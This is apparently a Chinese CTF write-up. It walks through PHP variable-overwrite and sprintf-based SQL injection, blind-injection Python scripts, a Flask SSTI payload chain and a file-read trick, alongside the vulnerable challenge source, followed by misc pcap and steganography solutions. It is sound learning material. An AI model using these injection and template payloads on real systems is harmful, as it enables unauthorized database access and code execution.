web
web刷的題目還是太少了,SQL注入和SSTI的一些常見姿勢,利用鏈都不知道,Orz
千毒網盤
掃描目錄可以發現網站備份,下載得源碼,進行代碼審計
首先發現了SQL語句,肯定要想到注入
發現有過濾,直接繞這個過濾語句肯定繞不過去(引號都過濾了orz),所以再看看別的點
發現在過濾語句下面可以進行變量覆蓋,后面參數為EXTR_SKIP,所以就不能覆蓋已有的變量
但是想要注入就必須在$_POST[‘code’]
上下手,而$_POST變量在程序運行時會自動創建.
這時候看到最上面有個unset
如果能通過這個unset掉$_POST
,再通過extract($_GET,EXTR_SKIP)
得到一個$_POST
,這樣就繞過了過濾可以執行任意SQL語句了
經過測試,發現post參數test=123,cookie設置為_POST[test]=123
可以成功unset($_POST)
其實也不難理解,在循環里面unset的時候,遇到cookie[]
的key=_POST
的情況,然后再加$
.變成$_POST
,然后其value是傳進去的value,但是在比較的時候,$_POST
就直接被看成全局變量,其值是POST的參數值
至於下面的限制,利用弱類型即可繞過
構造SQL語句
剩下的就是不加限制的注入了
比賽就做出這一道web,出題人的點還是很容易get到的.把題目拿到本地環境測試很重要,這題就是一點一點測出來的.
最后貼個題目代碼:
index.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
<title>千毒網盤</title>
</head>
<body>
<div class="container">
<div class="page-header">
<h1>
千毒網盤 <small>提取你的文件</small>
</h1>
</div>
<div class="row clearfix">
<div class="col-md-4 column">
</div>
<div class="col-md-4 column">
<br>
<form role="form" action='/index.php' method="POST">
<div class="form-group">
<h3>提取碼</h3><br><input class="form-control" name="code" />
</div>
<button type="submit" class="btn btn-block btn-default btn-warning">提取文件</button>
</form>
<br>
<?php
include 'code.php';
$pan = new Pan();
foreach(array('_GET', '_POST', '_COOKIE') as $key)
{
if(${$key}) {
foreach($$key as $key_2 => $value_2) {
if(isset($$key_2) and $$key_2 == $value_2)
unset($$key_2);
}
}
}
if(isset($_POST['code'])) $_POST['code'] = $pan->filter($_POST['code']);
if($_GET) extract($_GET, EXTR_SKIP);
if($_POST) extract($_POST, EXTR_SKIP);
if(isset($_POST['code']))
{
$message = $pan->getfile();
echo <<<EOF
<div class="alert alert-dismissable alert-info">
<button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>
<h4>
注意!
</h4> <strong>注意!</strong> {$message}
</div>
EOF;
}
?>
</div>
<div class="col-md-4 column">
</div>
</div>
</div>
</div>
</body>
</html>
code.php
<?php
class Pan
{
public $hostname = '127.0.0.1';
public $username = 'root';
public $password = 'root';
public $database = 'ctf';
private $mysqli = null;
public function __construct()
{
$this->mysqli = mysqli_connect(
$this->hostname,
$this->username,
$this->password
);
mysqli_select_db($this->mysqli,$this->database);
}
public function filter($string)
{
$safe = preg_match('/union|select|flag|in|or|on|where|like|\'/is', $string);
if($safe === 0){
return $string;
}else{
return False;
}
}
public function getfile()
{
$code = $_POST['code'];
if($code === False) return '非法提取碼!';
$file_code = array(114514,233333,666666);
if(in_array($code,$file_code))
{
$sql = "select * from file where code='$code'";
$result = mysqli_query($this->mysqli,$sql);
$result = mysqli_fetch_object($result);
return '下載直鏈為:'.$result->url;
}else{
return '提取碼不存在!';
}
}
}
TryToLogin
這題學到的東西就比較多
讀文件姿勢
?file=/proc/self/cwd/index.php
- 先讀 etc/apache2/sites-available/000-default.conf
可以讀到網站路徑,然后再讀代碼
至於為什么只能絕對路徑,可能下面的代碼限制的
if(isset($_GET['file'])){
if(preg_match('/flag/is', $_GET['file']) === 0){
echo file_get_contents('/'.$_GET['file']); // 限制了根目錄
}
}
sprintf
發現存在注入,但是有下面的過濾
這時候就考慮繞過addslashes()
,比賽的時候想到的寬字節繞過,FUZZ了一下不行,就放棄了2333
完全沒注意下面還有個sprintf
public function filter()
{
$_POST['username'] = addslashes($_POST['username']);
$_POST['password'] = addslashes($_POST['password']);
$safe1 = preg_match('/inn|or/is', $_POST['username']);
$safe2 = preg_match('/inn|or/is', $_POST['password']);
if($safe1 === 0 and $safe2 === 0){
return true;
}else{
die('No hacker!');
}
}
public function login()
{
$this->filter();
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "select * from user where username='%s' and password='$password'";
$sql = sprintf($sql,$username);
//$username = %1$'=> %1$\'
$result = mysqli_query($this->mysqli,$sql);
$result = mysqli_fetch_object($result);
if($result->id){
return 1;
}else{
return 0;
}
}
可以利用sprintf來逃逸'
深入解析sprintf格式化字符串漏洞: https://blog.csdn.net/weixin_41185953/article/details/80485075
如:
所以就可以構造password=%1$'xxxx
來逃逸引號
又FUZZ出來了admin/123456 所以可以進行盲注.
bypass inn/or
但是過濾了inn|or
就沒法利用``information.xxx`
bypass information_schema: https://www.anquanke.com/post/id/193512
還有師傅wp是根據schema_table_statistics注入的,來自 Firebasky
https://blog.csdn.net/qq_46091464/article/details/109706976
exp:
%1$'||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics where table_schema=database()),1,1))=1#
附上師傅腳本:
# ! usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import time
url='http://eci-2ze9e94upkcj26drdbjc.cloudeci1.ichunqiu.com/'
flag=''
for i in range(1, 50):
for j in range(34,127):
data = {
'username':'admin',
'password':"%1$\\' || ascii(substr((select
group_concat(table_name) from sys.schema_table_statistics where
table_schema=database()),{},1))={}#".format(i,j)
}
print("password"+data['password'])
rse = requests.post(url=url,data=data)
#print rse.text
if "Success!" in rse.text:
flag = flag + chr(j)
print(flag)
break
time.sleep(0.05)
print(flag)
#user fl4g
import requests
import string
url="http://eci-2ze9e94upkcj26drdbjc.cloudeci1.ichunqiu.com/"
s=string.ascii_letters+string.digits+"{-_}"
flag=""
for i in range(1,50):
print("******************")
for j in s:
#print(j)
data={
'username':'admin',
'password':"%1$\'||if(ascii(substr((select * from(fl4g)),{0},1))={1},1,0)-- +".format(i,ord(j))
}
print(data['password'])
r=requests.post(url,data=data)
if "Success" in r.text:
flag+=j
print(flag)
break
最后還是附上本題代碼:
<?php
class user
{
public $hostname = '127.0.0.1';
public $username = 'root';
public $password = 'root';
public $database = 'ctf';
private $mysqli = null;
public function __construct()
{
$this->mysqli = mysqli_connect(
$this->hostname,
$this->username,
$this->password
);
mysqli_select_db($this->mysqli,$this->database);
}
public function filter()
{
$_POST['username'] = addslashes($_POST['username']);// %df => '=? %df\ '
$_POST['password'] = addslashes($_POST['password']);
$safe1 = preg_match('/inn|or/is', $_POST['username']);
$safe2 = preg_match('/inn|or/is', $_POST['password']);
if($safe1 === 0 and $safe2 === 0){
return true;
}else{
die('No hacker!');
}
}
public function login()
{
$this->filter();
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "select * from user where username='%s' and password='$password'";
$sql = sprintf($sql,$username);
//%1$\'
//$sql = "select * from user where username='%s' and password='123456'";
//
//$username = %1$'=> %1$\'
$result = mysqli_query($this->mysqli,$sql);
$result = mysqli_fetch_object($result);
if($result->id){
return 1;
}else{
return 0;
}
}
}
session_start();
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
<title>EasyLogin</title>
</head>
<body>
<div class="container">
<div class="row clearfix">
<div class="col-md-12 column">
<div class="tabbable" id="tabs-268153">
<ul class="nav nav-tabs">
<li class="active">
<a href="#panel-671062" data-toggle="tab">Home</a>
</li>
</ul>
</div>
<br>
<br>
<br><h2>Easy Login</h2>
<br>
<br>
<br>
<form role="form" action="index.php" method="POST">
<div class="form-group">
<label for="exampleInputEmail1">Username</label><input type="Username" class="form-control" name="username" />
</div>
<div class="form-group">
<label for="exampleInputPassword1">Password</label><input type="password" class="form-control" name="password" />
</div>
<button type="submit" class="btn btn-default">Submit</button>
</form>
<?php
include 'class.php';
if(isset($_GET['file'])){
if(preg_match('/flag/is', $_GET['file']) === 0){
echo file_get_contents('/'.$_GET['file']);
}
}
if(isset($_POST['password'])){
$user = new user;
$login = $user->login();
if($login){
echo <<<EOF
<br>
<div class="container">
<div class="row clearfix">
<div class="col-md-12 column">
<div class="alert alert-dismissable alert-info">
<button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>
<h4>
恭喜!
</h4> <strong>Success!</strong>登錄成功了!
</div>
</div>
</div>
</div>
EOF;
}else{
echo <<<EOF
<br>
<div class="container">
<div class="row clearfix">
<div class="col-md-12 column">
<div class="alert alert-dismissable alert-danger">
<button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>
<h4>
注意!
</h4> <strong>Wrong!</strong>用戶名或密碼錯誤!Need help?
</div>
</div>
</div>
</div>
<!-- /?file=xxx 請使用絕對路徑-->
EOF;
}
}
?>
</div>
</div>
</div>
</body>
</html>
Hello
可以直接讀源碼:
from flask import Flask,request,render_template
from jinja2 import Template
import os
app = Flask(__name__)
f = open('/flag','r')
flag = f.read()
@app.route('/',methods=['GET','POST'])
def home():
name = request.args.get("name") or ""
print(name)
if name:
return render_template('index.html',name=name)
else:
return render_template('index.html')
@app.route('/help',methods=['GET'])
def help():
help = '''
'''
return f.read()
@app.errorhandler(404)
def page_not_found(e):
#No way to get flag!
os.system('rm -f /flag')
url = name = request.args.get("name") or ""
r = request.data.decode('utf8')
if 'eval' in r or 'popen' in r or '{{' in r:
t = Template(" Not found!")
return render_template(t), 404
t = Template(r + " Not found!")
return render_template(t), 404
if __name__ == '__main__':
app.run(host='0.0.0.0',port=8888)
這個題目就遇到了一點坑,本地測試的時候發現接收不到數據request.data,比賽的時候就又放棄了
request.data獲得參數問題
Flask的request.form和request.data有什么區別?
當類型為application/x-www-form-urlencoded或者multipart/form-data是傳給
request.form,request.data沒有接到數據;如果是其他不能處理的類型就會給request.data
SSTI
很明顯下面的 t = Template(r + " Not found!")
存在模板注入,但是又存在os.system('rm -f /flag')
,不能直接讀文件.
@app.errorhandler(404)
def page_not_found(e):
#No way to get flag!
os.system('rm -f /flag')
url = name = request.args.get("name") or ""
r = request.data.decode('utf8')
if 'eval' in r or 'popen' in r or '{{' in r:
t = Template(" Not found!")
return render_template(t), 404
t = Template(r + " Not found!")
return render_template(t), 404
還是參考別的師傅的wp Firebasky的利用鏈,可以直接讀取flag變量
#-*-codeing = utf-8 -*-
#Firebasky
import requests
url = 'url'
for i in range(200):
data="{%print [].__class__.__bases__[0].__subclasses__(["+str(i)+"].__init__.__globals__['__builtins__']['__import__']('__main__').flag %}"
# print(data)
res = requests.post(url=url,data=data)
if "flag" in res.text:
print(res.text)
print("i=",i)
break
misc
web狗第一次做misc
簽到
pcap analysis
就直接跟蹤65位長的TCP流,原理還是不太清楚.
pcap
過濾到dnp3協議
分析TCP流,發現下面的
然后發現全是91位的,過濾下,就可以按位讀flag
...
可樂加冰
圖片隱寫:
binwalk看一下
這里和https://wooyun.js.org/drops/%E9%9A%90%E5%86%99%E6%9C%AF%E6%80%BB%E7%BB%93.html中的0x04很像,直接提取出文件
可以用腳本提取出2AE6.zlib
得到
834636363695438346369595364383469595954383469595364383463636363643834636363695438346369595364383469595364334453443834636953636438346369536954383463636953643834636369543344534438346369595438346369536954383463636363643834636363643344534438346369595364383463695953643834636369543834695363643344534438346363695364383463695369543834636369536438346369595954383469595364383469536954383463636363643834636953643834636369543834695369543834636959543834636369536
然后轉換為字符:
S.$$$_+S.$__$+S.___+S.__$+S.$$$$+S.$$$_+S.$__$+S.__$+"-"+S.$_$$+S.$_$_+S.$$_$+S.$$_+"-"+S.$__+S.$_$_+S.$$$$+S.$$$+"-"+S.$__$+S.$__$+S.$$_+S._$$+"-"+S.$$_$+S.$_$_+S.$$_$+S.$___+S.__$+S._$_+S.$$$$+S.$_$+S.$$_+S._$_+S.$__+S.$$_$
很像JJEncode
S換成$=>$.$$$_+$.$__$+$.___+$.__$+$.$$$$+$.$$$_+$.$__$+$.__$+"-"+$.$_$$+$.$_$_+$.$$_$+$.$$_+"-"+$.$__+$.$_$_+$.$$$$+$.$$$+"-"+$.$__$+$.$__$+$.$$_+$._$$+"-"+$.$$_$+$.$_$_+$.$$_$+$.$___+$.__$+$._$_+$.$$$$+$.$_$+$.$$_+$._$_+$.$__+$.$$_$
再加上額外的固定首尾:
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+替換這里+"\"")())();
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$$$_+$.$__$+$.___+$.__$+$.$$$$+$.$$$_+$.$__$+$.__$+"-"+$.$_$$+$.$_$_+$.$$_$+$.$$_+"-"+$.$__+$.$_$_+$.$$$$+$.$$$+"-"+$.$__$+$.$__$+$.$$_+$._$$+"-"+$.$$_$+$.$_$_+$.$$_$+$.$___+$.__$+$._$_+$.$$$$+$.$_$+$.$$_+$._$_+$.$__+$.$$_$+"\"")())();
解密即可